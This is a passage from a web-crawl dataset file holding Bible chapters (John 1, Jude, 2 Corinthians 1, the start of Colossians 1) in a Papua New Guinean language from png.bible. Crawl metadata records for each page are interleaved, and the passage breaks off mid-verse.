Áánútuma ai'maréna 7 sámo kain-áímbá maimaé amápa-kwaasiva'a kwinasá mináímbá isésa sésa árai'a Ísu Káráísitima kwaási sáma kamátinkaiwaiman-iye sígwáe súwana 8 Yóni kwemá íma sámo kamátinkaina'a póna sámo kamátinkaindawain-aai maimaéna kuráiye. 9 Áánútun-aaigoma amápa-kwaasivimba sáma kamátinkaiwaiman-iye. Yóni simátímakainka'a Áánútun-aaigoma marapá-kwáásívímbá kumpaáruraiye.\n10 Áánútun-aaigoma maramá tarórumakena marapá'á kumbáyowasa marapá-kwáásí kwená ááimba íma kawe'á umái awánaraawe. 11 kwenamáápa'a kumbáyowasa kwenamááraa íma paru umánkombanivo 12 évakarawai paru umánkesa kwentávésa sésa árai'a Áánútunopakemba kunkáiye suwaná póna miwíyávéna séna Áánútuna iyámpóíyomban-owe siráiye. 13 kwaási kentí imáyáavinkeni'a umái kwématinkaavo Áánútuna iyámpói íma miráumai Áánútuna iyámpóíraani'a kwéowe. Áánútu kwená imáyáavinkemba umátínkáimba pósa Áánútuna iyámpóíraani'a kwéowe.\n14 Áánútun-aaigoma kwaásima aúkena marapá'á ména kentáávímbá máyowata awánaraumne. paru-yántáákwárá arupí-yantaakwara'a kwempímbá sáwíva'a kwáyon-kwaasi póna ságayankwara-kwaasi úwata awánaraumne. avowámá ááninkomba kímborawaimba póna ságayamba amúwana miságáyánkwárá'á máyowata awánaraumne.\n15 Yónima kwentávéna amápa-kwaasi simátimena séna kembá íma masínkaraanka'a kesínaaembo tíníwaima kweinónkáámbá paárurena ména póna kembá usáyaaitaraiye siráunda-aimba minkwáásíyávé'a siráumne siráiye.\n16 paru-yántáá'á kwempímbá sáwíva'a kwáyáiwaima póna kentáá kawe'á kwéumasinkavata kwiyé. 17 naaóvá'á Áánútu Mósesimba ai'maréna séna kesí ámáámba simátimiyo séna naaémba Ísu Káráísitimba ai'maréna séna parumó ií-yántáá'á arupí-yantaa'a móruntimiyo siráiye. 18 naaóvá'-naovakwara ívékwara'a marará-kwáásí Áánútun-ane'a íma awánaraambanivo kímborawai ááninkoma kwesé ména mimbóráí'a umái ména póna kwéagaraasinkaintaawe.\nYóni nombó pétinkaraiwaina kwaasái.\nMátíyu 3:1-12, Mááka 1:7-9, Árúku 3:15-17\n19 Yérúsaremu-naopakemba Yútaa-kawaa-kwaasi mono'-máyáí-kwáásínté Árívái-andaraken-kwaasiyonte ti'márówasa Yóninopa'a tésa áísaa esa sésa emá nááwa'ono suwaná 20 Yóni íma umémpa'a tuwómba avora'á séna Áánútumo usásinankaiwaima Káráísitima íma kemá úne súwasa 21 emá nááwa'o. Íráiyaa naaóvá'á Áánútun-aai simátímakaiwaiya'ono suwaná Yóni séna ímaniye súwasa miwí sésa naaóvá'á Áánútu séna kesáái simátiminiwai Mósesiraan-kwaasi ai'máráanana kumíníye siráimba kwemá ewá'ono suwaná Yóni séna ímaniye súwasa 22 miwí sésa nááwa'ono súnaya simásimenda-aimba si'mákaawaiya kosimátimenaumne suwaná 23 Yóni simátimena séna Áánútun-aai simátímakowaima áwí'a Áísáya naaóvá'á agaimaréna séna\nkavóná-marava'a moóráwai ména aayamáírakemba séna Ísóigona aambá kwirankánááomba kwená aambá arupí íyana minámpá'á kwíno\nsiráimba mindá kemá úne Yóni súwasa 24 taáísaa-un-kwaasivinkemba évaka'a ámáán-kawaa-kwaasi miwímá 25 Yónimba áísaa esa sésa emó sémo Áánútumo usásinankaiwaima íma kemá úne. íma kemá Íráiyaama úne. Áánútun-aai simátiminiwaima Mósesiraan-kwaasi íma kemá úne. emó siráandanivo nóintavai nombá kwévetinkaano suwaná 26 Yóni séna kemá noné su'mai kwévetinkaunana kentí avumpimbó moóráwaimo máyáimba íma kwéawanaamba póna 27 aáno kesínaaemba tíndawaima kwemó aaimó síndavimba kemá aaimá sendamá uwóví'a ónaumne. kwená mayáímá kwémayaundayave'a pó'a kemá úwoi-kwaasi úne Yóni siráiye. 28 Yótáni-nonkona menávápá'á Pétáni-naopa'a Yóni nombá kwévetinkowasa áísaa uwaná Yóni mináímbá siráiye.\nÍsuna kwaasái Yóni simátímakain-kwasai.\n29 simásuwena usá aaváyaaraamba Ísumo túmba Yóni awánéna simátimena séna kentí sáwí-imayaayavesa ísámai sipisípi-araa'o tuvúwówanamo púwísasamo Áánútumbo áméntemba kwétin-kwaasi amápa-kwaasiti sáwí-imayaayavena ísámai maitiyuwáíndayavena póna puwíníye. mindáyavena Áánútu ai'máráísana kúmímba póna puwíníye. 30 kembá íma masínkaraanka'a kesínaaembo tíníwaima kweinónkáámbá ména kembá kwéusayaaitaiyemo siráunda-aimba minkwáásíyávé'a siráumne. 31 Áánútumo usásinankaiwain-aai isé'a nááwantavesa seéo siráunda isa'á nombá kwévetinkaunda pósa Ísareri-kwaasi kwembá kawe'á umái awánanaaowe Yóni siráiye.\n32-34 Yóni awánaron-aimba simátimena séna Áánútumo usásinankaiwaintave'a sé'a nááwa'iyo siráunda kwíyómpakemba Áánútun-amankoma mááiraamba úmaena kwenane'á kumbáísa'a awáné'a sááka'a makáunda póna Áánútu si'mákaiwaima séna nombá kwévetinkenana kesimankómá moórá-kwaasigo ane'á kumbaína emá awáné se Áánútun-amankoma tirumpimbá anómba umátinkaniwaiman-iye siráin-aimba sááka'a makáundara'a póna mirámó imbá awáné'a simátime'a sé'a kwemá Áánútu ááninkoman-iye Yóni siráiye.\nÉndaruwe Pítaae Ísun-ánaaemba kwakááyan-kwasai.\n35 simásuwena usá aaváyaaraamba Yóniye kwená kwayó-kwáásíráíyé mésaya 36 Ísumo kúmba awánésaya uwaná Yóni séna minkwáásí Áánútu ai'mákain-kwaasi póna amápa-kwaasiti sáwí-imayaayavena ísámai puwíníye. kentí sáwí-imayaayavesa ísámai sipisípi-araa'o tuvúwówanamo púwísasamo Áánútumbo áméntemba amápa-kwaasiti sáwí-imayaayavena ísámai puwíníye súwasarai 37 mindárai isésarai Ísun-ánaaemba kwáróyana 38 Ísu kogwanténa métuwanena séna nóintavaiya'oyo súwasarai miwí tááivinkemba sésarai Araapaiyo náávara kwémaeno kwántámai sésarai anóndakoo náávara kwémaeno suyaná 39 Ísu séna taawánaakaiyo súwasarai kwesé kuyambá mindáúmpá'á komésaya aaváúmá toraétáápa'a marónka'a komáyáawe.\n40 Yóni siráin-aimba iséna Ísun-ánaaemba kwakón-kwaasi moóráwai áwí'a Éndaru kwemá Sáímoni Pítaa ávákoma póna 41 aiva'á awaaómá avakáá-umai awánéna séna Áánútumo usásinankaiwaima Mésíyaa máyáísa'a awánaraumne sirái. Mésíyaawe-kwi'a kwántámai Kíríki-kwaasi tááivinkemba Káráísitiye sembá mináwíkóná ááimba Áánútumo usásinankaiwaiman-iye kwésewe. 42 Sáímonimba áí'maena Ísunopa'a tuyaná Ísu awánéna séna Yóni ááninkoma úne. enáwí'a Sáímoniye. moórá-kwi'a Pítaawe simánkaumne Ísu siráiye. miwí tááivinkemba Pítaawemo sembá anón-ontankowe kwésewe.\nVírípiye Nátáníyoe Ísun-ánaaemba kwakááyan-kwasai.\n43 usá aaváyaaraamba Ísu séna Káríri-ayampa'a kónáe séna Vírípimba avakáá-umai áí'maena séna kesínaaemba kwaraaó siráiye. 44 kwemá Pétésáítavakemba Éndarunte Pítaantei naaópaken-kwaasiman-iye. 45 Vírípima Nátáníyomba avakáá-éna séna Mósesiye Áánútun-aai simátímakowaiye Áánútun-aai aúváívimba agaimarésamo siráan-kwaasigonta awánaraumne. kwemá Násáreti-naopakemba Yósépi ááninko áwí'a Ísuman-iye súwana 46 Nátáníyo séna kesáámó súndaya Násáreti-naopakemba íma kawe-kwáásímán-iye kwésune súwana Vírípi séna taawánaao súwasarai 47 kuyambá Ísu Nátáníyomba awánéna séna mendá árai'a Ísarerina'a íma kampar-ímáyáámá kwáyáinda'a kwétiye súwana 48 Nátáníyo áísaa ena séna nóintavaiya kesí imáyáama suwánéwa seénó súwana Ísu séna Vírípima íma ááyarainka'a ená naaópa'a víki-taaigona ááinka'a máyaana'a kesí imáyáavinkemba awánaraumne súwana 49 Nátáníyo séna anóndakoo emá Áánútu ááninko e Ísareri-kwaasi kentáásí kawááná'á óne súwana 50 Ísu séna víki-taigona ááinka'a máyaana'a kesí imáyáavinkemba awánaraumne súndayavai kentáváí se áraire Áánútu ááninko óne kwésene. ená naaópa'a máyaana'a imáyáavinkemba awáraundayavai sénda po mintántáákómbá usáyaaitanin-tantaa'a naaémba awánaniyone. 51 árai'a simátime'a sé'a kwíyómpa'a sokón-tawaai taaínkaa'a ínasa kwíyómpakemba kwaási úranda'a kumpaáruraundawaisopa'a kwíyómpaken-kwayo'narawa'a iré kunke íya'a tuwánanaaowe Ísu siráiye.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/png.bible\/kze\/JHN01.htm","date":"2022-11-29T09:17:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710690.85\/warc\/CC-MAIN-20221129064123-20221129094123-00763.warc.gz","language":"kze","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000026226043701}","num_words":889,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.201,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Yúte\nÍsu kwíyómpa'a irówana Yúte Ísun-áváko kae-kwááí aíyayaan-iya'i. kae-kwááí umái siyáánkai-iya'iyo. miráumai-ima maisuwéna maanáímbá agaimái tímakaiye.\n1\n1 kemá Yúte Ísu Káráísitina mayáí-kwáásí Yémési áváko maanáímbá maanáúváívímbá agaimaráúmpo ísáaro. Áánútu kentáásivowa arumbá tiména tááyaraiwai Ísu Káráísitimo kawáá uráiwai ísáaro. 2 Áánútu arumbá umátinkena imáyáa tiména paru umái mósá kwétinkaintave'a Áánútumpa'a námúnaa kwésimatinkaumne.\n3 kesí kwaásiyono. Áánútu keinárawate kenté sáwí'o umáímo máyaundavinkemba kwéiyasinkaintave'a maanáúváívímbá agayánáe únana Áánútu simásimena séna moórá anón-aimba simáména agayaaó simbá pó'a mináímbá agayánaumne. ááéma Áánútu kwená kwaási imáyáa timúwasa Ísu Káráísitin-aaiyavesa áraire sésa kwenká'á agevamái máyáan-aimba ísare'a mináímbá asiramái tirumpimbá tátore'a máyáamba tuwáúnavo sé'a kárákwiyoro. Ísu Káráísitin-aaiyavesa sáwí-aimba sewáí tááigona anondá Ísu Káráísitina árair-aimba simátíméro. 4 évaka'a kampa'-mónó-kwáásí Áánútun-aai íma kwégwaraawai kentí imáyáa tavisénááontavesa komésa tirumpin-ímáyáá ésa sésa Áánútu úwoi súwa'naa enaya íma sínkaminivo kentáásí imáyáavinkenita ónaumne sésa sáwísawaa ésa Ísóigo Ísu Káráísiti kweyáá kentáásí anóndakomba tínaaemba umámakaawe. naaóvá'á Áánútu mirá-sáwí-máyáígóná sáwí-meyamba timénaumne siráiye. mirán-kámpá'-mónó-kwáásí keinárawate komáyáantave'a maanáímbá kwésimatimune.\n5 maanáímbá á'a simátímakaamba ísaraambanivo ókwara'a simátimenaumpo ísáaro. naaóvá'á Áánútuna kwaásiyomba Ísípi-marava'a tátokowana Áánútu ayútinkena tí'maena kwétena kwenááiyavesamo ímo árairemo sirówai Áánútu tínkamuwasa pukáawe. 6 moórá-aimba imáyáa oro. naaóvá'á Áánútuna kwayó'nárawa'a kwíyómpakewai miwítí kawáá-máyáí tuwésa miwítí kawe'-náópá'á túwówai Áánútu tíyayaanka'a asááúmarena túnkwi-ayampa'a sáwí-mapa'a tiyuwówasa maí'mai'a ésa naaémbo Áánútu sáwí-meyambo timínín-kanaa amu'marésa máyáawe. 7 moórá-aimba imáyáa oro. naaóvá'á Sótómu-naopakewaiye Kómóraa-naopakewaiye mindáór-egwaa'-naopakewaiye sáwí'a úmae iyésa aarai-úmóyáné kwaai-úmóyáné mirá úmae íyúwana Áánútu tínkambai iramó kwégaipa'a tínkamuwasa iramó kaíkai'o kwéipa'a maí'mai'a kwéowe. kentáávákwárá'á mirá ovó sé'a kárákwiyoro.\n8 naaóvá'á mirámó uráantemba ívé'a kampa'-mónó-kwáásí kentí imáyáa tavisénáe sewáí mirá ésa miwítí sáwí-imayaavinkemba áwáyo-tantaa'a ésa Áánútumo kwégawaaimba tínaaemba umámesa sáwí'a ésa kawe'nárawa'a kwíyómpakewaiyavesa sáwí-aimba simátínkaraawe. 9 ánivo Mósesi pukówana kwíyómpaken-kawaanako áwí'a Máíkeri kwemá séna Mósesin-auma mayánáe súwana Sáátáánigo séna kemá mayánáe súwasarai miráumai asiramái suyaná Máíkeri Sáátáánigontavena íma sáwí-aimba súmba kemá íma aaí simánkanaumpo Ísóigo aaí simánkaniye siráiye. 10 ánivo kampa'-mónó-kwáásí kentí imáyáa tavisénáe sewáí évaka-tantaakona ááimba íma awánaraantavesa sáwí-aimba simátinkesa kwaí-kwaambo amáparawaina ááimbo ímo awánésamo ontembá miwí mirá owaná miwítí sáwí-imayaago tátorena miwí sáwí'a kwéumatinkaiye. 11 naaóvá'á moóráwai áwí'a Kááini sáwí-amba kwakáintemba miwí mirá kwéowe. naaóvá'á moóráwai áwí'a Péramu óntan-aamoimo uraíntemba miwí mirá kwéowe. naaóvá'á moóráwai áwí'a Kóra Áánútun-aai araaiséna kawáá-kwáásí táái araaiséna pukáintemba minkámpá'-mónó-kwáásí mirá kwéomba pósa miwí sáwí-meyamba mayánááowe. 12 keinárawa'a Áánútuna kwaási kwená imáyáa é'a toómbá né'a torupamái máéntemba kesé miwí komésa sáwí'a umátinkesa kesáváí-ímáyáá umái náma'-nama'a kwéesa íma tigaemá kwéowe. miwímá kampa'-mónó-kwáásí ésa íma kwétuwa'naa-on-kwaasi máyáawe. miwí taaérambo íyáin-kanaamo arambó ímo íyáin-tairaan-kwaasi máyáawe. úndágomo taaimó taawítúwáísanamo aáyánkaintenkaan-kwaasi máyáawe. 13 kavirayán-dómbó kúmísanamo non-awirááímo avora'ó kwáíntemba miwítí sáwí-mayai avora'á kwáyáiye. miwímá kentí imáyáa tavisimái sáwí-ampa'a métinkanae sen-kwáásí máyáawe. Áánútu miwí túnkain-ayampa'a to'mayaa umátínkaraimba pósa mivá'á komaí'mai'a ónááowe.\n14 aiva-kwáásígó áwí'a Áándamu ména Sétimba ankówana Sétima Ínósimba ankówana Ínósima Kénáánimba ankówana Kénáánima Má'árareomba ankówana Má'árareoma Yárétimba ankówana Yárétima Ínókimba ankówana Ínóki mirán-kámpá'-mónó-kwáásíyávéna imáyáa éna séna maísáaro. Ísóigo kwená kawe'nárawa'a sáwívarawaise téna 15 sáwí'o uráawaimo amápa'o sáwí-meyambo timíndayavena téna Áánútuntavesamo aamoimó ímo ésamo sáwí'o uráawaiyavena aaivimbá maitinkáíndayavena téna Áánútuntavesamo aamoimó ímo ésamo simáímo sáwí'o umánkaraawaiyavena aaivimbá maitinkáíndayavena kwétiye Ínóki siráiye. 16 kentí imáyáa tavisénáe sewáí í'ái simátínkáva'a iyésa amápa-tantaa'o miwítópa'o tiráimba tirunkó sáwí'a kwéisasa sáwí-imayaawe su'mai kwégwaresa túma mósá marésa tirááímo tain-tántáá'á mayánáe sésa simái tirumbá kwéairaraawe.\n17 kesí kwaásiyono. miwímá mirá-sáwí'á kwéombanivo kemá maarán-oro. kentáásí Ísóigo Ísu Káráísitina aantá-kwaasi siráan-aimba imáyáa oro. 18 miwí simátimesa sésa naaén-kanaama tínímba Áánútuntavesa íma aamoí ésa sáwí-imayaayavesamo tirááíyavesamo ésa aamoí íyan-kwaasi kentuwíráái sénááowe minántá-kwáásí siráawe. 19 miwí tirumpimbá Áánútun-amanko íma máyáísasa miwítí marapár-ímáyáá kwarésa kampa'-mónór-áímbá simái Áánútuna kwaási kwétaainaawe.\n20 miwí mirá kwéombanivo keinárawa'a Áánútuna kawer-áímbá aasiyaasí kwése'a kwenká'á agevamái mé'a moórá-morawai asiramátinke'a Áánútun-amankona asirayánkóntávé'a námúnaa seró. 21 Áánútu arumbíya tímakaimba pó'a arupí umái mé'a Ísóigo Ísu Káráísiti arumbá umátinkaina'a kwíyómpa'a aúnái'a umái maí'mai'a ónááontave'a amu'máráaro. 22 Áánútun-aaiyavesa kaer-ímáyáá tokáawai tirumbá umátinke'a miwítí imáyáa taviseró. 23 iramó kaipa'á kováínivo Áánútun-aai simátimiyana Áánútu tavisimái kawer-ámpá'á métinkaniye. évakarawaiyave'a tirumbá umátinkaiyasa minkwáásí tavisíya'a sáwí'a únavo sé'a miwítí sáwí-mayaiyavena táá'a káína'a kentúma kárákwiyoro.\n24 Áánútu kanaán-umai túwa'naa ína'a íma tínaaemba umámenaaontave'a árair-aimba kwésune. Áánútu tí'maena kwená ságayan-ayampa'a métinkaina'a kentí sáwí-aimba íma kwáyainana tirunkó anón-kawe'a íníntave'a árair-aimba kwésune. 25 Áánútu asirayánkwáráwáí mimbóráwáí ména kentáásí Ísóigo Ísu Káráísitina mayáíyávéna imáyáa éna sáwí'o umáíya máyaundavinkemba iyásínkáintave'a árair-aimba kwésune. kwená ó'oran-aaimba kwáyáísana kwenáwí'a anómba isaná kwená asirayánkó usáyaaitaisana amápa-tantaaka'a kwégawaaiye. naaóvá'á kwíyómba maramá íma taróruronka'a kwemá ménama ívékwara'a ména maí'mai'a kwéintavena árair-aimban-iye kwésune.\nkemá Yúte súnda-aimba ánásaiye.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/png.bible\/kze\/JUD01.htm","date":"2022-11-29T08:11:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710690.85\/warc\/CC-MAIN-20221129064123-20221129094123-00212.warc.gz","language":"kze","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.000004768371582}","num_words":677,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.207,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Kórínti\nÍsu kwíyómpa'a irówana Póro moórá-kwaai aíyayaamba umái avakaeté-iya'iyo. miráumai-ima maisuwéna maanáímbá agaimái Kórínti-naoraa-kwaasi Ísuna aampa'ó kwégun-kwaasi agaimái tímakaiye. Póro Másétóniyaa-marava'a máyowana Táítási Kórínti-nao'a tuwéna Póronopa'a kweémena Kórínti-kwaasi táái kosimámuwana Póro iséna séna aúváíma agaimái tímakaunda isasá isésa évakarawai sáwí'o uráamba tínaaemba umásukaawasa évakarawai íma mirá ésa kentáváí sésa íma árai'a Ísuna aantá-kwaasiman-iye kwésewe séna árai'a Ísuna aantá-kwaasiman-iye sígwáe séna maanáúváí agaimarówasa mátímakaawe.\n1\n1 kéma Póro maanáímbá agaimaráúmpo ísáaro. moóráwai áwí'a Tímóti kentáásí kwaásigo kesé máyáísa'a agaimaráúmpo ísáaro. Áánútu kwená imáyáavinkemba kentávéna séna aantá-kwaasi éma Ísu Káráísitin-aai kosimátíma'mae naauwó séna si'mákaivo ísáaro. Kórínti-naopakewai Áánútun-aaiyave'a áraire kwésewai ísáaro. Ákáyaa-marava'a Kórínti-naopakewaiye ó'on-o'on-daopakewaiye máyáawai Ísóigona kwaási ísáaro.\n2 Áánútu kentáásivowe Ísóigo Ísu Káráísitiye úwoi túwa'naa ésarai paru kwéumatinkaayantave'a námúnaa kwésune.\n3 kentáásí Ísóigo Ísu Káráísiti avowa Áánútu áwí'a mósá kwémaraumne. kwemá kentáásivowama arumbá kwéumasinkaiwai sirávayenaya súwa'naa iwáí áwíta mósá kwémaraumne. 4 ó'on-o'on-umbai-yantaa'a amápa'a kentáásópa'a timbá Áánútu kwésiravayaimba póna ó'on-o'on-umbai-yantaa'o évakarawaitopa'o tínímba Áánútumo siráváyáintenta umái kesáá kanaán-umai miwí tirávayanaumne. 5 Káráísitimba áí'a úni'a umánkówasa Káráísitina kwaási-i'a úndarakemba sí'a iní'a umásínkáamba miráumai Áánútumo Káráísitimbo arávairaintemba miráumai anómba kwésiravayaintaawe. 6 keinárawate méta túwa'naa ówánanaya sáwí'a umái máyómpinkemba Áánútu tí'maena kawepá'á métínkaraiye. mirá ówándarakemba sí'a únita umásínkonta Áánútu sirávaraiye. keinárawate máyaawandaya sí'a únita umásínkonta íma ivátuweta asiramáíya méraumne. miráumai tí'a índai'a umátinkanaaomba kesáámó uráundantentaamo mirámó é'o ímo ivátuwe'o asiramáímo ménaaombo éna Áánútu keinárawakwara'a tirávayaniye. 7 sí'o úni'o umásínkaraantenta tí'a iní'a umátínkáamba miráumai Áánútumo sirávairaintemba tirávayaimba séta mindáyave'a asiramái ménaaowe asiramái séta timu'maréta máyaumne.\n8 kesí kwaásiyono. Ésiyaa-maravata máyaawanda ó'on-o'on-umbai-yantaa'a kentáásópa'a túmba mináímbá isáígwáe séta simátimumpo ísáaro. minúmbáí-yántáá'ó ó'oran-anon-umbai-yantaa'a úwata kentáásópa'a túmba póta puwónaumne séta súvamaiya méta 9 sínkamiyata puwónaunda-kanaa tiráiye-imayaa éta súvamaiya maémaumne. íma kentáásí asirayándéímán-ivo Áánútuna asirayándéí mayáíyá kwémaeta máyaumne. Áánútu pukáampinkemba usásitinkaiwaina asirayándéí mayáíyá kwémaeta máyaumne súndayavenaya minánón-úmbáí-yántáá'á kentáásópa'a tiráiye. 10 umbai-yántáápímbá puwónáe ówándavinkemba Áánútu síyótaasa umásinkowata súvamaiya maémaundaya póna mirá unté iyíníye. sáwívinkemba síyótaasa unté kwéiyiye séta máyaumne. 11 keinárawakwara'a kentááyávé'a Áánútumpa'a súwa'naa umai námúnaa seró. sáwívarawai námúnaa síyana Áánútu súwa'naa ínímba mindáyavesa Áánútumpa'a súwi sénááowe.\nPóro kampar-áímbá íma simátímakain-kwasai.\n12 kwaási túranka'a máyaundayaveta imáyáa kwéundaya sirumpinkén-ímáyááó séna kawe'á umáíya máyaumne sisatá aamoiyá kwéune. marapá-áínkóná ááimba íma imáyáa éta Áánútu úwoiya kwésuwa'naa-intaveta imáyáa éta Áánútuna mayáíyé su'mai kwémaeta méta íma árúvare-kwaasiraani'a umáíya maúndantemba kentúranka'a árai'a miráyá umáíya máyaumne. 13-14 kwéagaimai timúnda-auvaivimba íma kaumbo-káér-aimba kwésimatimumpo awáné'o ísaraan-aine su'mai tavisimái kwésune. kentáá sáwíyamba suwánaavo suwánamai kawer-ígwáe sé'a únda mirámó é'o é'a Ísóigo Ísu marapá'á kumíndara'a keinárawatavetaamo aamoimó ondantembá kentááyávé'a aamoí ónááowe.\n15-16 keinárawa'a kentááyávé'a aamoí kwéumasinkaawe-aimba imáyáa uráundayave'a sé'a kae-táwai kentópa'a kómé'a Másétóniyaa-marava'a kónáe únda kentópa'a kómé'a tiyuwé'a kweéme'a Másétóniyaa-marava'a komé'a koyauweré'a ókwara'a kentópa'a támé'a tiyuwé'a Yútiyaa-marava'a ténaumne siráumne. kae-táwaimo kawe'ó umátínkáana'a súwa'naa íya'a Yútiyaa-marava'a ténaumne-imayaa uráundayave'a mináímbá siráumne. 17 mirá ónáe uráunda íma mirá uráundayavesa keinárawapinkemba évakarawai kentávésa sésa árúvare-kwaasiman-iye siráavo kentópa'a kónaumne siráunda marapá-kwáásímó ontembá íma mirá únda mimbórá-ímáyáá umái mimbórá-áímbá avora'á simátímakaumne. 18 Áánútumo árair-aine su'maimo siráintemba simátímakaunda-aimba íma kaer-ímáyáávínkémbán-ivo mimbórá-ímáyáá umái mimbórá-áímbá avora'á simátímakaumne. 19 Sáírásiye Tímótiye kewé umáíya kentópa'a máyaawanda Áánútu ááninko Ísu Káráísitin-aaiya simátímakaunda kwemá moórá-aimba avora'á séna moórá-aimba aúpá'á tuwéna mirá íma iwáí póna amápar-aimba avoraré su'mai siwáín-aai simátímakaumne. 20 Áánútu amápar-aimba simáí asirámakaimba Ísu Káráísitintavena siráimba póna paáruraiye. Ísu Káráísiti mirán-ámápá'-máyáí mairáintaveta Áánútu siráin-aintaveta árair-aine kwésunanaya Áánútu áwí'a anómba kwáyáiye. 21 Áánútu Ísu Káráísitimba kentááwé keináraware tarúsinkaraisata asiramái máyaundayaawe. kentáá ítámarena 22 kesí kwaásiman-owe séna árai'a kwená kwaásiya úne sénaundayavenaya kwenamankómbá ai'marówana kentáásirumpimba kumbáyáimba mindáyaveta séta to'mayaa umásínkarainta mirá íníye kwésundayaawe. mirá uráintave'a íma árúvare-kwaasiraamba kwéune.\n23 Áánútu kesí mayáígómbá awánaraiwai aúranka'a kwésimatimunda-aimba árair-aimban-iye. Kórínti-naopa'a kentópa'a kónáe séwánda asiramái simátíménana tirunkó umbaí taivó sé'a ivátuwe'a íma kuráumne. 24 Áánútun-aaiyave'a áraire asiramái kwése'a kwenká'á agevamái máyáamba póta kentópa'a kondayá Áánútun-aaintave'a áraire seró-áíntá íma ókwara'a sénaumpo tirunkó aamoí íníntaveta keinárawapimba tágárotamai méta mayáíyá komayánaumne.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/png.bible\/kze\/2CO01.htm","date":"2022-12-02T03:17:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710890.97\/warc\/CC-MAIN-20221202014312-20221202044312-00345.warc.gz","language":"kze","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000072717666626}","num_words":582,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kórósi\nÍsu kwíyómpa'a irówana Póro moórá-kwaai aíyayaan-umai sísamaivakemba kaer-íyá'iyo. miráumai-ima maisuwéna maanáímbá agaimakáiye. Póro Ísun-aai simátíma'mae iyúnkakemba Árómáa-naopa'a ándáva'a ánkarowana máyopa'a moóráwai áwí'a Épávarasi téna séna Kórósi-naopa'a Ísuna aampa'ó kwégon-kwaasivimba kampa'-mónór-áímbá kwésimatimewe siráiye. mindá maarán-kámpár-áímbá sésa Áánútu isasá kwaási owasá avumpimbá égésinarawa'a máyáawai túwí'a mósá máráaro sésa Ísuntavai íma Ísóigoma póna kwíyómpaken-kwayo'nakaamban-iye sésa évaka-tontavai íma naaró sésa kentú-augwiyaamba toró simái mirán-áímbá kwésewe kosúwana Póro iséna mirán-áímbá tuwáígwáe séna maanáúváí agaimái tuwówasarai Tikikásae Ónísímasiye mátímakaaiye.\n1\n1 kemá Póro maanáímbá maanáúváívímbá agaimaráúmpo ísáaro. moóráwai áwí'a Tímóti kentáásí kwaásigo kesé máyáísa'a agaimaráúmpo ísáaro. Áánútu kwená imáyáavinkemba kentávéna séna aantá-kwaasi-i'a éma Ísu Káráísitin-aai kosimátíma'mae naauwó séna si'mákaivo ísáaro. 2 Kórósi-naoapakewai Áánútuna kwaási Ísu Káráísitiye tarúmaimo máyáawai kwembá íma aúwáamba asiramáímo máyáawai ísáaro. Áánútu kentáásivowa úwoi túwa'naa ena paru kwéumatinkaintave'a námúnaa kwésune.\n3 keinárawatave'o imáyáamo é'o námúnaamo kwésunda Áánútu Ísu Káráísiti avowámpá'á súwi kwésune. 4 Ísu Káráísitinka'a agevamái mé'a Áánútuna kwaási amáparawaivimba kentirumbó kwétimen-aimba isé'a mindáyave'a Áánútumpa'a súwi kwésune. 5 aiva'á moóráwai áwí'a Épávarasi árair-aimba áséi-kwasai simátimuwa'a ísaraanka'a kwíyómpa'o Áánútumo to'mayaa úmakaimba imáyáa é'a amu'maré'a máyáamba pó'a Ísu Káráísitinka'a agevamái mé'a Áánútuna kwaásivimba kentirumbá kwétimewe. 6 aiva'á Áánútu úwoi túwa'naa in-áímbá simátimuwa'a isé'a sé'a árair-aimban-iye suwaná mináínkó kawe'ó umátínkaraintemba mináséí-áínkó amápa'-marava'a kóyáwé éna kawe'á kwéumatinkaiye. 7 Épávarasi mináséí-kwásáí simátíma'mae iráiwai kwembá sirumbá ámakaundawai keséya kawe'-máyáí kwémayaiwai súwa'naa ena keinárawapimba Ísu Káráísitina mayáí kogwémaena íma ivátuwena 8 tasimásimena séna Áánútun-amanko Kórósi-kwaasi imáyáa tímísasa kwaásivimba tirumbá kwétimesa kwétuwa'naa-owe siráiye.\n9 súwa'a isé'a námúnaa símae kwéiye'a námúnaavinkemba maarán-áímbá kwésune. Áánútu kwembó arááímo kwétain-tantaa'a sáma kamátinkaina'a awánewana Áánútun-amanko kawer-ímáyáá timína'a 10 Ísóigombo arááímo kwétaini'a íyana tuwánéna aamoí ína'a miráumai mémpinkemba ó'on-o'on-kawe'-mayai kwémae'a Áánútumba kawe'á umái kwéawanaantave'a námúnaa kwésune. 11 Áánútu kwená asirayámbá ó'oran-asirayandei asiramátinkainana umbai-yántáá'ó kentópa'o tínímba íma mindáyave'a imáyáa é'a asiramái ménaaontavena kwená asirayámbá timínana 12 Áánútu kwená kwaásiyavena to'mayaa umái ságayan-ayampa'a kárákwirain-ayampa'a makáimba kawe'á umátinkena to'mayaa úmakaimba timíníye. mindáyavena kentirunkó kawe'á ína'a Áánútu kentáásivompa'a súwi sénááontave'a námúnaa kwésune.\nKáráísitina ááine kwená mayáíyégóná kwaasái.\n13 Sáátáánigo túnkwi-ayampakewaina asirayánkó tátokaimpinkemba Áánútu sirénaya ááninko kwená imáyáa kwéiwai kárákwiraipa'a mósinkowanaya 14 ááninko sáwí-imayaaomo tátokaimpinkenta iyásinkenaya kentáásí sáwí-imayaa maisíyukaiye. 15 Áánútun-ane'ó 